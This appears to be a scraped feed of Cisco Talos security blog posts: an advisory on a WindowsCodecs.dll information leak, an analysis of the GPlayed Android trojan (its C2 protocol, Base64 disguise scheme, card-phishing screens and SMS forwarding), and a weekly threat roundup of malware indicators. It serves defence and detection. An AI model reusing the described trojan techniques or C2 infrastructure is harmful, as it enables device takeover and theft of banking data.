TALOS-2018-0644 - Microsoft WindowsCodecs.dll SniffAndConvertToWideString Information Leak Vulnerability

TALOS-2018-0644 (CVE-2018-8506) is an exploitable memory leak vulnerability that exists in the SniffAndConvertToWideString function of WindowsCodecs.dll, version 10.0.17134.1. A specially crafted JPEG file can cause the library to return uninitialized memory, resulting in a memory leak. An attacker can send or share a malformed JPEG file to trigger this vulnerability.

This vulnerability is present in the WindowsCodecs DLL library — an implementation of Windows Imaging Component (WIC) —that provides an extensible framework for working with images and image metadata.

An attacker can leak heap memory due to the improper sting null termination after calling `IWICImagingFactory::CreateDecoderFromFilename` on a JPEG file with properly malformed metadata.

Additional details can be found here.

Affected versions

The vulnerability is confirmed in the WindowsCodecs.dll, version 10.0.17134.1, but it may also be present in the earlier versions of the product. Users are advised to apply the latest Windows update.

Discussion

WIC enables developers to perform image processing operations on any image format through a single, consistent set of common interfaces, without requiring prior knowledge of specific image formats and it provides an extensive architecture for image codecs, pixel formats, and metadata with automatic run-time discovery of new formats.

It's recommended that developers use operating system components, such as Windows Imaging Component, that are updated frequently so they do not have to apply any specific updates to their own products.

Memory leak vulnerabilities are dangerous and could cause the instability in the system, as the program does not properly free the allocated memory and the memory blocks remain marked as being in use. Vulnerable applications continue to waste memory over time, eventually consuming all RAM resources, which can lead to abnormal system behavior. Developers should be aware of these vulnerabilities' potentially damaging consequences.

Coverage

The following SNORTⓇ rules detect attempts to exploit these vulnerabilities. Please note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For all current rule information, please refer to your Firepower Management Center or Snort.org.

Snort Rules: 47430 - 47433

GPlayed Trojan - .Net playing with Google Market

$
0
0
This blog post is authored byVitor Ventura.

Introduction

In a world where everything is always connected, and mobile devices are involved in individuals' day-to-day lives more and more often, malicious actors are seeing increased opportunities to attack these devices. Cisco Talos has identified the latest attempt to penetrate mobile devices — a new Android trojan that we have dubbed "GPlayed." This is a trojan with many built-in capabilities. At the same time, it's extremely flexible, making it a very effective tool for malicious actors. The sample we analyzed uses an icon very similar to Google Apps, with the label "Google Play Marketplace" to disguise itself.

The malicious application is on the left-hand side.



What makes this malware extremely powerful is the capability to adapt after it's deployed. In order to achieve this adaptability, the operator has the capability to remotely load plugins, inject scripts and even compile new .NET code that can be executed. Our analysis indicates that this trojan is in its testing stage but given its potential, every mobile user should be aware of GPlayed. Mobile developers have recently begun eschewing traditional app stores and instead want to deliver their software directly through their own means. But GPlayed is an example of where this can go wrong, especially if a mobile user is not aware of how to distinguish a fake app versus a real one.

Trojan architecture and capabilities

This malware is written in .NET using the Xamarin environment for mobile applications. The main DLL is called "Reznov.DLL." This DLL contains one root class called "eClient," which is the core of the trojan. The imports reveal the use of a second DLL called "eCommon.dll." We determined that the "eCommon" file contains support code and structures that are platform independent. The main DLL also contains eClient subclasses that implement some of the native capabilities.

The package certificate is issued under the package name, which also resembles the name of the main DLL name.

Certificate information

The Android package is named "verReznov.Coampany." The application uses the label "Installer" and its name is "android.app.Application."

Package permissions

The trojan declares numerous permissions in the manifest, from which we should highlight the BIND_DEVICE_ADMIN, which provides nearly full control of the device to the trojan.

This trojan is highly evolved in its design. It has modular architecture implemented in the form of plugins, or it can receive new .NET source code, which will be compiled on the device in runtime.

Initialization of the compiler object

The plugins can be added in runtime, or they can be added as a package resource at packaging time. This means that the authors or the operators can add capabilities without the need to recompile and upgrade the trojan package on the device.

Trojan native capabilities

This is a full-fledged trojan with capabilities ranging from those of a banking trojan to a full spying trojan. This means that the malware can do anything from harvest the user's banking credentials, to monitoring the device's location. There are several indicators (see section "trojan activity" below) that it is in its last stages of development, but it has the potential to be a serious threat.

Trojan details

Upon boot, the trojan will start by populating a shared preferences file with the configuration it has on its internal structures. Afterward, it will start several timers to execute different tasks. The first timer will be fired on the configured interval (20 seconds in this case), pinging the command and control (C2) server. The response can either be a simple "OK," or can be a request to perform some action on the device. The second timer will run every five seconds and it will try to enable the WiFi if it's disabled. The third timer will fire every 10 seconds and will attempt to register the device into the C2 and register wake-up locks on the system to control the device's status.

During the trojan registration stage, the trojan exfiltrates private information such as the phone's model, IMEI, phone number and country. It will also report the version of Android that the phone is running and any additional capabilities.

Device registration

This is the last of the three main timers that are created. The trojan will register the SMS handler, which will forward the contents and the sender of all of the SMS messages on the phone to the C2.

The final step in the trojan's initialization is the escalation and maintenance of privileges in the device. This is done both by requesting admin privileges on the device and asking the user to allow the application to access the device's settings.

Privilege escalation requests

The screens asking for the user's approval won't close unless the user approves the privilege escalation. If the user closes the windows, they will appear again due to the timer configuration.

After the installation of the trojan, it will wait randomly between three and five minutes to activate one of the native capabilities — these are implemented on the eClient subclass called "GoogleCC." This class will open a WebView with a Google-themed page asking for payment in order to use the Google services. This will take the user through several steps until it collects all the necessary credit card information, which will be checked online and exfiltrated to the C2. During this process, an amount of money, configured by the malicious operator, is requested to the user.

Steps to request the user's credit card information

In our sample configuration, the request for the views above cannot be canceled or removed from the screen — behaving just like a screen lock that won't be disabled without providing credit card information.

All communication with the C2 is done over HTTP. It will use either a standard web request or it will write data into a web socket if the first method fails. The C2 can also use WebSocket as a backup communication channel.

Before sending any data to the C2 using the trojan attempts to disguise its data, the data is serialized using JSON, which is then encoded in Base64. However, the trojan replaces the '=' by 'AAAZZZXXX', the '+' by '|' and the '/' by '.' to disguise the Base64.

Request encoding process

The HTTP requests follow the format below, while on the WebSocket only the query data is written.

<server path>?q=<IMEI>-<REQUEST CODE>:<Obfuscated Base64 encoded data>

As is common with trojans, the communication is always initiated by the trojan on the device to the C2. The request codes are actually replies to the C2 action requests, which are actually called "responses." There are 27 response codes that the C2 can use to make requests to the trojan, which pretty much match what's listed in the capabilities section.
  • Error
  • Registration
  • Ok
  • Empty
  • SendSMS
  • RequestGoogleCC
  • Wipe
  • OpenBrowser
  • SendUSSD
  • RequestSMSList
  • RequestAppList
  • RequestLocation
  • ShowNotification
  • SetLockPassword
  • LockNow
  • MuteSound
  • LoadScript
  • LoadPlugin
  • ServerChange
  • StartApp
  • CallPhone
  • SetPingTimer
  • SMSBroadcast
  • RequestContacts
  • AddInject
  • RemoveInject
  • Evaluate
Another feature of this trojan is the ability to register injects, which are JavaScript snippets of code. These will be executed in a WebView object created by the trojan. This gives the operators the capability to trick the user into accessing any site while stealing the user's cookies or forging form fields, like account numbers or phone numbers.

Trojan activity

At the time of the writing of this post, all URLs (see IOC section) found on the sample were inactive, and it does not seem to be widespread. There are some indicators that this sample is just a test sample on its final stages of development. There are several strings and labels still mentioning 'test' or 'testcc' — even the URL used for the credit card data exfiltration is named "testcc.php."

Debug information on logcat

Another indicator is the amount of debugging information the trojan is still generating — a production-level trojan would keep its logging to a minimum.

The only sample was found on public repositories and almost seemed to indicate a test run to determine the detection ratio of the sample. We have observed this trojan being submitted to public antivirus testing platforms, once as a package and once for each DLL to determine the detection ratio. The sample analyzed was targeted at Russian-speaking users, as most of the user interaction pages are written in Russian. However, given the way the trojan is built, it is highly customizable, meaning that adapting it to a different language would be extremely easy. The wide range of capabilities doesn't limit this trojan to a specific malicious activity like a banking trojan or a ransomware. This makes it impossible to create a target profile.

Conclusion

This trojan shows a new path for threats to evolve. Having the ability to move code from desktops to mobile platforms with no effort, like the eCommon.DLL demonstrates that malicious actors can create hybrid threats faster and with fewer resources involved than ever before. This trojan's design and implementation is of an uncommonly high level, making it a dangerous threat. These kinds of threats will become more common, as more and more companies decide to publish their software directly to consumers.

There have been several recent examples of companies choosing to release their software directly to consumers, bypassing traditional storefronts. The average user might not have the necessary skills to distinguish legitimate sites from malicious ones. We've seen that this has been the case for many years with spear-phishing campaigns on desktop and mobile platforms, so, unfortunately, it doesn't seem that this will change any time soon. And this just means attackers will continue to be successful.

Coverage

Additional ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

Indicators of compromise (IOC)


URLs
hxxp://5.9.33.226:5416
hxxp://172.110.10.171:85/testcc.php
hxxp://sub1.tdsworker.ru:5555/3ds/

Hash values
Package.apk - A342a16082ea53d101f556b50532651cd3e3fdc7d9e0be3aa136680ad9c6a69f
eCommon.dl - 604deb75eedf439766896f05799752de268baf437bf89a7185540627ab4a4bd1
Reznov.dll - 17b8665cdbbb94482ca970a754d11d6e29c46af6390a2d8e8193d8d6a527dec3

Custom activity prefix
com.cact.CAct

Threat Roundup for October 5 to October 12

$
0
0

Today, as we do every week, Talos is giving you a glimpse into the most prevalent threats we’ve observed this week — covering the dates between Oct. 5 and 12. As with previous roundups, this post isn’t meant to be an in-depth analysis. Instead, we will summarize the threats we’ve observed by highlighting key behavioral characteristics and indicators of compromise, and discussing how our customers are automatically protected from these threats.

As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center, Snort.org, or ClamAV.net.

The most prevalent threats highlighted in this roundup are:

  • Win.Malware.Emotet-6710203-0
    Malware
    Emotet is a banking trojan that has remained relevant due to its continual evolution and its ability to bypass antivirus products.
     
  • Win.Malware.Fuerboos-6712723-0
    Malware
    Fuerboos is a backdoor trojan that monitors user activity and captures that information to eventually send it back to a server. It utilizes a double flux network where multiple hosts act as proxies to further prevent researchers from locating the actual malicious server.
     
  • Win.Dropper.Demp-6714293-0
    Dropper
    Demp drops DLL files that are later injected into the explorer process. It is also capable of accepting commands from a command and control (C2) server and exfiltrating system information.
     
  • Win.Malware.Dgbv-6714452-0
    Malware
    DGBV is malware written in Delphi and is packed with Inno Setup, a free software installation system. Once deployed, DGBV collects sensitive information from the infected host and sends it to a C2, including browser password databases.
     
  • Doc.Downloader.Valyria-6713303-0
    Downloader
    Valyria is a malicious Word document family that is used to distribute other malware. This campaign is currently spreading Emotet.
     
  • Win.Downloader.Dofoil-6714608-0
    Downloader
    Dofoil, AKA SmokeLoader, is primarily used to download and execute additional malware. Read more about this threat on our blog.
     
  • Win.Malware.Zbot-6714649-0
    Malware
    Zbot, also known as Zeus, is trojan that steals information such as banking credentials. It has numerous capabilities, including key-logging using methods such as key-logging and form grabbing.
     

Threats

Win.Malware.Emotet-6710203-0


Indicators of Compromise


Registry Keys
  • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\dimcloud
Mutexes
  • PEM6A4
  • PEM6B0
IP Addresses contacted by malware. Does not indicate maliciousness
  • 96[.]114[.]157[.]81
  • 24[.]203[.]4[.]40
  • 216[.]137[.]249[.]154
  • 98[.]191[.]228[.]168
  • 41[.]204[.]202[.]41
Domain Names contacted by malware. Does not indicate maliciousness
  • smtp[.]aavanira[.]com
Files and or directories created
  • N/A
File Hashes
  • 0eba4bf670ebd4381150a0d9e1fd113561898849ac53fd22e0eee1afe05de77d
  • 12faaf05baa1ead6dd6559f2eed72373d78eff2e462c59fc055ac098b8ad7d38
  • 1affd33a6864d27ffb7b2398630c06610a3c9d81d0f84548b7a66c431d2b733a
  • 1d75775d6b05c878611b678b1bceacc76c888fb086ad2c47111aa696dad4b59f
  • 1fca28e3264af2703e3e221b9193e93351b3b9ef3474643fb27d589b8c10840e
  • 20dec98c8003e986251cc8a765a931783203ec75eae436e9df2248a465321e53
  • 213395fba51bb15feb10d201b78df2a8c4bfcd25498f672b02391a77647cb781
  • 36bc6b1def213cb8f10670fa3d574f831fdd63a9a5f2a66f66c1d580dfb75955
  • 3e9e1062c311605bb78e8df525eaa11268ad5b547ae9295669a0c751e16f5a13
  • 49a9333f65eb8a84e74b14a928d7ad94737c95117eae62e87bf84617637f04a1
  • 6c231427d0fc1cf9ad431c7c5a8973db04e5a5cd2ef3205d6f544ae3b20a57f8
  • 74e5ce08015255e67a1e21dfd2e44afb613a329b4bc6a4a678d1fb18e0d45412
  • 8e0652595b5c7661ce08ef8c986ad31cef38020f80f7afcd500a9acbdd6ae774
  • 995cca730bcdeecd0e497999e7ff2a4a6659fae45130e05599f0d716125c00a3
  • a5a882b548a7b4faa705f9defef61566fdc778c983f58b71578896448f2721fb
  • aa9c066ef31f701399812d51bf46231d88911bf062098e4428e8768002d6274c
  • af253123e7bc9a5732d21ecca3d9d24db4c3a1d616fc8d8b14c3bdaa97bac3b9
  • b7fab8bd7cfc07cf11cbf012b9d926cc4953df301b4d5bf8df12106d9d748aca
  • c0fa19dd12030a9c24375a25dbfd413a6fd123b2b0451902af767167b313aad5
  • c1ea9d852216d51cffbed3da3ef2fc23156f523096f900a9127ca91cbda542fb
  • ed96c1d12554779cdef56ebd87ac4390815c006cb7771608297377cabc3a8023
  • fb05b1c6edb8961620fff003d4ea496d889e5e217f28e77a7d6c37a6c73e3f17

Coverage


Screenshots of Detection

AMP




ThreatGrid




Umbrella



Win.Malware.Fuerboos-6712723-0


Indicators of Compromise


Registry Keys
  • N/A
Mutexes
  • _!SHMSFTHISTORY!_
  • !PrivacIE!SharedMem!Mutex
  • SmartScreen_ClientId_Mutex
IP Addresses contacted by malware. Does not indicate maliciousness
  • 54[.]39[.]175[.]170
  • 51[.]68[.]239[.]251
Domain Names contacted by malware. Does not indicate maliciousness
  • s928eid19oqieuqoeu[.]com
  • 11wiwy19wpqoqsos292uwoqow83[.]com
Files and or directories created
  • %LocalAppData%\Temp\04pnjlnm.cmdline
  • %LocalAppData%\Temp\04pnjlnm.dll
  • %LocalAppData%\Temp\04pnjlnm.out
  • %LocalAppData%\Temp\F256.bin
File Hashes
  • 033a197eb9289e06f7541f3b66fdf308d8abce2fc4e7269776a664bde3e3945d
  • 05f4d4b6a171b5dc1023b75983a6203f2a958f39a821c3483d05ee30c3a972d5
  • 07783f32930a4b4b595976f347fc6272c1ac67e73b173a962ee4cb6cc92fd757
  • 07b55edfd0e61cd0e120e0245dfe1dce775405c1aa12ea7717afdf3f55fae0a4
  • 0d87696146e48e023816ca67ff8bc449bc326e6592d1fb588283eed4d6b80357
  • 0df85fbe16e6252a12ad9096590d3f1b9af548f0972edfb9393521ac86ca26cd
  • 10c075586237c573630d7361e55b910c38f67d9c8255592858b80e57c4c5b796
  • 11a4da86de7617dbe52f7b89818626f10b4c4c326b71b2a7c8f4477293b5de92
  • 12124b503f2989dea4dc2bbb9edc1054971075d7b326836693f5623ca46ffd1b
  • 13a05b5af10b15d1ad5e296c75507b65c70f669cb5e48f3174fc28d9053e1ee9
  • 14881ef04a4af32b3cd29d413557c5bee31efe0d1f35db0b5a570dac7dc0c6cc
  • 19e9de7427f46bac7637d0a9a633d3b34d8e515df48b39229c1b673bf5105681
  • 1df9d199d46a2f8f0b345b3fd3fdd77ac7c0449df03e156f508b3d0d1600607c
  • 1fae65f06e00e08ec2d60519cd416335c7b26f0e92d4ef2b65e72f5a3d166172
  • 1fd513421c26ae15b03dae61fe9932fbe7fc9bcc65a268867fed5a3987df18c0
  • 23d849dd6ce38c93fb47adfdc6a29c28d7d9993534fc35eb9745396dab3c2edc
  • 25466f6ed1011635a332ef93c465d5f6803e4099a09b8e3764f3d29a012e70fb
  • 2773a65c5791d9382e498e84c352d5175445669c5b566c3bca150d9c320ebfe0
  • 27ed0a3e9ca95105f734e9aa55fe6a65fafb196a291913af197a48c263865685
  • 2ab936982eadd726bab936ab68bef211b3ffafd6f6f36dd1406830db72aae529
  • 2b728ccccb05a1b03cb4ad4ccac320d74feeafe2f2be0a06f635fd9f56daec65
  • 2b7cf52c1c83af3ad9349e551619be5031db6f58049cf7697e155ad25dd6519a
  • 2e534b2373b08930ff05e39491405c6580be5bfd194ec6b9798dad7b5ba841e3
  • 2ede38df97248bfea976a6985427a1f6dc3206b96dab218e14354653192576e8
  • 30e2c4ce1d069cfbd7b3be5025a022e432a681b38dc1b60d2d83e51a160056be

Coverage


Screenshots of Detection

AMP



ThreatGrid




Umbrella



Win.Dropper.Demp-6714293-0


Indicators of Compromise


Registry Keys
  • <HKCU>\SOFTWARE\MICROSOFT\Yqar
  • <HKCU>\Software\Microsoft\Windows\Currentversion\Run
Mutexes
  • N/A
IP Addresses contacted by malware. Does not indicate maliciousness
  • 203[.]78[.]107[.]112
Domain Names contacted by malware. Does not indicate maliciousness
  • www[.]siamrich[.]co[.]th
Files and or directories created
  • %AppData%\Albea\wuzuo.xuo
  • %AppData%\Ebodyk\ruce.exe
  • %AppData%\Ogno\ruof.kuh
File Hashes
  • 1179d11e07f6bfc5e19bd4e715ffcc9ea8bb3c0e7cc6d4fe4e462f5433dab8c5
  • 13bcb923aa00b7399e31fce0ad7c73c95d046b9fd9cc61fdad54a2001a24ef52
  • 1751b6a0e5e0eb5709e63cf05f362e0256aff5c56bf919ce510cfa88836e7a3f
  • 1dade14775862a6978810f9edc71679d7d7c128d469f2275258717ed88906d25
  • 2e224ae755c32a914bc7be948a805b358fcc26ff1a95a04c6a05117501b164f3
  • 5cb4338d783396dea3968b5f1ef16a3db4fca907a2c03e715aaafc61200eb20b
  • 68f758a0d97e4f1a3dfa4c637c3d19332217c1c0fdf04e416d708cb9a7f47e10
  • 7ee688e6cc5e3d6f27cb09c82842d7094f8de6d0900fba7c7686fe6e5edbb314
  • 87dc7ea718d5dc4916bdee2a1b928921babc884f1754d5e01152b8bc868b6124
  • 8f615ff9e9bafa6c0278fd4914bad01d4457689ab7a271d674ef0c7da569390c
  • 967cf3782024def1f1bb478d12ab3658aa9081188a5f8a1b97bfb9daf37f1d98
  • b816f28c64b91a88e8675191bdfc6fb6cee14808a475bd23594637a033bfa3a9
  • cc7264cc4f7b0692935640eeaaccd71319a0459fe094f9b16cd055fa3cfb6ad7
  • cf020f6d42ef17fb0afcb5d9abf51721fd2de655e61a565fbc3891574b278e57
  • eb88635d91cbb0f85d235a2aec00fca2217fc16f076a5fb79cb6764c16eb002c
  • ee8a67421a69bfd280bb7429e19efb3ee7fc403db592315963934409c841fed4
  • f7589669d7b57285986b0ec280083fe66fb80aadc8b9d0ff279daac8459eb50d
  • fbda080d12a9da511c5763b8269b393c3f76a511ff05a4c740cb017d933605fc
  • fc9f06ce525f321e664d8a9c94bc7d8fe8420aadead196300451f5ade6867bff

Coverage


Screenshots of Detection

AMP




ThreatGrid




Win.Malware.Dgbv-6714452-0


Indicators of Compromise


Registry Keys
  • N/A
Mutexes
  • 3749282D282E1E80C56CAE5A
IP Addresses contacted by malware. Does not indicate maliciousness
  • 45[.]122[.]138[.]6
Domain Names contacted by malware. Does not indicate maliciousness
  • filitimonieenama[.]com
Files and or directories created
  • %AppData%\D282E1\1E80C5.lck
File Hashes
  • 1d9cbdafba2ed47d7a420ea42b690664d06245f5c25b94cfdcbc3a1a33499164
  • 23100d1c82e06b6b899d4f04cfdd393c05ca656767c7a7648981fd14973ee7a6
  • 418d65586f05d278901417b0c8d7c4752ea7415b2c8fa6c093a460a434c02c52
  • 58be850629c361f619da13c0106a8e7a1e61e07855fc23aa956e283a626ccaa8
  • 60ae0309004f39b41fb96fa278219875668ad139974a35a6b5bee5ad42caf985
  • 6ce5513f53a548aad74508dd376456b2cb7a91323c4ea27e2410ead309300b86
  • 78e19745a107b3d196d476f81feeeb01663787869910f369b176c23c3536aaca
  • 7dfd6d093b0fd406f734d92b3fac5e59631c0649170670c220743be74344634f
  • 8b6348185f0d21c809f2d924f868bdf8ee2ea7b9ba59c41783a35817dfaf17c9
  • 919d0e14a92fee33c9ec402b0e02b5282fd5cae502aadc2c490d3bfdf4350ad8
  • bbd0a4000591033769be4ab26ca2fbe334440c4b56acb329433fc98c3405ceff
  • c0a6d9b38153cc61dd042e7b9ea02df9b8d0958f27f31d5be5d89dd66303b0b4
  • c6def90e73d83bfdfcaff20902a343f7d600f84ecb0a6531aff7b59a06ea8455
  • c9abc638ac5e06271bede0ee3880ef8e034a11bd0cda260ef82d4b6ee978c292

Coverage


Screenshots of Detection

AMP




ThreatGrid



Umbrella




Doc.Downloader.Valyria-6713303-0


Indicators of Compromise


Registry Keys
  • <HKLM>\SYSTEM\CONTROLSET001\SERVICES\dimcloud
Mutexes
  • Global\I98B68E3C
  • Global\M98B68E3C
  • PEM758
  • PEM60C
IP Addresses contacted by malware. Does not indicate maliciousness
  • 12[.]139[.]45[.]113
  • 216[.]215[.]112[.]198
  • 81[.]215[.]192[.]201
  • 113[.]193[.]217[.]34
  • 96[.]254[.]126[.]140
Domain Names contacted by malware. Does not indicate maliciousness
  • optics-line[.]com
  • ironspot[.]com
Files and or directories created
  • N/A
File Hashes
  • 0a212916b4767564de4a7b5ae348c56b4d9c5a799723e901352280a3e8d64761
  • 0b62c13a5558d201266446b870d97eb458a82eab17d69a3d566a6e5abb158c6a
  • 171e0e8440bb8152cef9ae20dec4a170f93b1312aadf782490cc36adf5c301a4
  • 17b6cacdac7e3dc56d0b60ea7367e5073048e30aff6742e65b0a6f2b52b6255a
  • 1b90e481327517deced0d43590dfd5715ac0d1645f78f65239aa091f653f4c07
  • 2456f8835a6452a6bc07db97990ac81977f1102f41b53ffc68ed935022caee67
  • 2581d63d7d772a3b1ac3b5ae095b03a9a76e771b3d153ac3e95ead93759880de
  • 3c985296fc326089a695b2ffb78ab22b5bf6b0c28b62c9f8532281487479c99c
  • 400d3ec69470e65f173f5ced9fd5bbedfa0458332639d5f48d4d46ad93f19c8a
  • 50c4e66b9f3cbbab3298dc9113b16e485c17feecf296cab4829607942e6b63d2
  • 5e3034a30bef39ff753853f3712bedc99baf5c0e3e84b8de6665e21716e9bf87
  • 63ed9611ef53d62886a487b66638d5b4e022fb791182130d7fcef35a07f79080
  • 6886615f85136e0c0624642251d7b5396c57f7ba5cdce955d2dd0b1f0be7e6f5
  • 6a5ce4ce91c196918807df2bcfefe256d76970e5b8e87b40df1757639943090e
  • 6af525481cb0998d33e3a3c4954da1545f0f6dcb25b899b450d98a4bc3b17c13
  • 7603db9e307d728676caadf8d1e42733071087e6dc72a7a3ec747372fa0c965e
  • 8319cf7cd706879ced641e96ce84ae78286c5eb3a8de911aaa449a922e2af6d4
  • 8cf4ea0f49b0d6a0df0bcb066bea9bf27ee10ac34dd3e240c7cb19582b9041c7
  • 97c4f7a023bf61ca96d3de53931c0fad28ca2197740999e930c8d702a346ffb7
  • 9b58e48bc55057f200d72f6f6646097a4e1285bdea85073c3e0313bd953ee13d
  • 9c8cd646405cc6c78665e8702051107b0531f7918829985335e6f5348c20a873
  • ae445853c56dddcbdf899ab132adb7cd9cfe9eb7048ee643838bb85b7422ac37
  • afddef6744bf508b82295fa1478a03e8016d10c6647925c46a8f0f8ea6bb3a3b
  • b11cc1ae5ed0b068cc101b046a9c2c8a270d751273cf320934b790fe5afb91a3
  • c77fcc0be04543148bbfab87443d2d81a712ba16c24f22963a0670275eab6bb4

Coverage


Screenshots of Detection

AMP




ThreatGrid




Umbrella



Win.Downloader.Dofoil-6714608-0


Indicators of Compromise


Registry Keys
  • <HKCU>\SOFTWARE\07771b47
Mutexes
  • C77D0F25
  • 244F2418
IP Addresses contacted by malware. Does not indicate maliciousness
  • 77[.]182[.]47[.]152
  • 77[.]214[.]6[.]192
  • 77[.]198[.]181[.]15
  • 83[.]226[.]115[.]86
  • 77[.]253[.]52[.]129
  • 8[.]123[.]232[.]109
  • 94[.]227[.]178[.]89
  • 8[.]110[.]105[.]136
Domain Names contacted by malware. Does not indicate maliciousness
  • N/A
Files and or directories created
  • N/A
File Hashes
  • 01ce9f47d246b23480249c21385f28af4f8f6c6f72de0e16f0d5995add2cc4f4
  • 0b1e8ab791aa74ec379a8699c6e50fcda918c02b08aa4460bea8a842931cfb1b
  • 0defb11ec4549eb802fb841cbb58ec72f8bde65bbed48245e0d83c6c942d941d
  • 2273e345b799cc3ed8954fd82b62ad47f16615cb59531355039349d7ee84de23
  • 26f4a9f28493a8250d38061536289c0249bb88b8e12cd304a70ae06475b4072e
  • 2e2aa0b99d225a1583cb40ca233054fef69fe724190cfff0b7ffcd6c805223fd
  • 303a92f502157d4a99c21c2ec6cd05cfa2400497df59a2e9ce322333ab6f78a9
  • 404f7030cb01a7cdbae2ab38adafd587aa5da0cfc5bb55b92e7cf7b095ac543c
  • 47326515c02c1fb96899aebf38fd18919682d79a1445ffa343dfa26e70261231
  • 4c509d782de2ef525b83dbd61f70a59a2c64b1bbc8d02f063c0e081a2bc6b214
  • 53b5bc66cc62f04439d75203bd7e0ff040e055c90598741f9dc26c59ce41dd64
  • 5746ac7b26eab61a51ca790eecc9bfdf120fc711f4173c54c99ea653d154bd4b
  • 5a36ad9f59dd0c8906cf6dd9c395785ba449c9dddc3843cc2d9a9aecd5f78c47
  • 65360c29dd0b0cddcbc77cce83af3761439423c72276dd425755e6dbd3bfc171
  • 6653fe7c4e305c524ca7d59ff8286bfe944af1e4672e11f8a08a7cea0a2dd332
  • 6a8a02f29f22cbdcf42ca25ee3d26e4220c70cb133595bc9b3354742bb4a3a2e
  • 743e3645040914b245661a2e145fb3237237cdb30a82ce6ee59461cd83505841
  • 7ca20063faa25398f5e4ddc7d08e5bd39e71d816caeec5214bcb14c261d5ed25
  • 83e460c7faf4d06a0b255a8ad4175577e9b8cdd8bb88645dff1a8841fc4c72ae
  • 8b9e1ef2b8e37a459b1ead71b6b5c684aa5589b3f6a3fc7aacba4b7c0c3085d4
  • 93fd66843eeefba26d494abf82bd69f972913c59e109a97a8871f1150e75ae01
  • 95c587cce682887a0d9d6297e966a9fd82590cf557aac4767eff29ceafa373e2
  • 99f203e4a8ee38b92ca80807b5350974d809505539284fa53d64b83aee28a749
  • a48b79aa1d76c9c8480466757d3d198bfefa19434fe4697129d73bce75a412b0
  • a593ae31f46ba0871580a5d7af3a8abd29fccd164c92dafc6c53f5b69487f717

Coverage


Screenshots of Detection

AMP




ThreatGrid




Win.Malware.Zbot-6714649-0


Indicators of Compromise


Registry Keys
  • <HKCU>\SOFTWARE\MICROSOFT\Waec
Mutexes
  • N/A
IP Addresses contacted by malware. Does not indicate maliciousness
  • 176[.]99[.]4[.]7
Domain Names contacted by malware. Does not indicate maliciousness
  • N/A
Files and or directories created
  • %AppData%\Gybyoq\uzbu.ecu
  • %AppData%\Iftovi\ihuk.exe
  • %LocalAppData%\Temp\tmpbed48548.bat
File Hashes
  • 075954d09355c42653ebb8340916245a18e28b8ad5d7c701f2f3208f639922a9
  • 168c7ecd964fcae27d56aeb73ebb5917b2a7f025d708019b870f184e92cf42ab
  • 22bdc85124aa553038e1d5b27411c67b931406597cebdc3ab7eb149077695599
  • 259f3336bd8bb16138f45cf341f7290e7edfbee2872a9927184d02643ac86b85
  • 31903b752e05db104908f6e2853597d5990f0fb5378573f98870c57509765b28
  • 480e51e1bef08a8870a7d852abab4ac58179d2fa8031a9a080ce8a5a04a3f073
  • 508517c5a9cbab74b1458ae66f1b744b74fd1833594eb319592416d7825f5d83
  • 5a8b1aecc07c0c707aabfe22e52a7f70cc65aeac7127f7fd87ddf74a172212dd
  • 5b9b975f6f67ed9bf8f45db61117330b31770dc26aecd0262253531106bc74ad
  • 5e0535beb2b18aa4a2a5db338485f6e87fba66cd79fb0afb0c1cc18a3d526b22
  • 62bbd7305b5ccb36a11f1f8d81065daa537e1716fb1983d8b411993d365b2fda
  • 829cc5bc44063c564e0cbfda5d7c4538df9c6eb54f37eb09cf14757dda2f6ad5
  • 897527a34498f81ffac99f626abcc0045cc5953173c84f90766280d38edc4f73
  • 90e57a0f986925b7bf5a9114ff99d0c764c82c2348ae9694cb3b49a10de49ee8
  • 911529ae29929ba58e3e2f7c2b1db4c8697df181bc1122ed2a96268429eae8c6
  • a3ea8684813d8849686a07809e576ea5276fd63de74fe65406871f7b3b3f185d
  • a52de51d2c4ca3bcb65d3c35b0a02c2b83142d784e420cd06c79d500d24587d3
  • ab3e38a476d1d7e136c670d16afeff8ac0a3f82578d0398ba1ec91792c447411
  • b398d2d8c26361f98d8341bb38e42f9553b107756c0aeb5985688de7af309de6
  • c25837b0eecbcac9726e6f6b41502b65796f5ddd20a42aa0311f18ed85302809
  • db58802e343b45a0d173a3bfab5fae9fe1c6188a6a175042a496f2e7ae1b906e
  • ecb59e655db783f2d4515b90f1045b154827820de20b09ebebe382895726bbcb
  • fa1962bf247694be787999b8b94dba8a09728cb258776b067a01128d3e073d01
  • fa9c078a6fbc67f8545381c4dbef455ce3e4e69c518ffdb6080103b98742b00b
  • fab9b2ba302d819180f19df41bf91abc7370b22fa0a08d35bc6a55dcb9751471

Coverage


Screenshots of Detection

AMP



ThreatGrid


Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox

$
0
0
This blog post was authored by Edmund Brumaghin and Holger Unterbrink with contributions from Emmanuel Tacheau.


Executive Summary


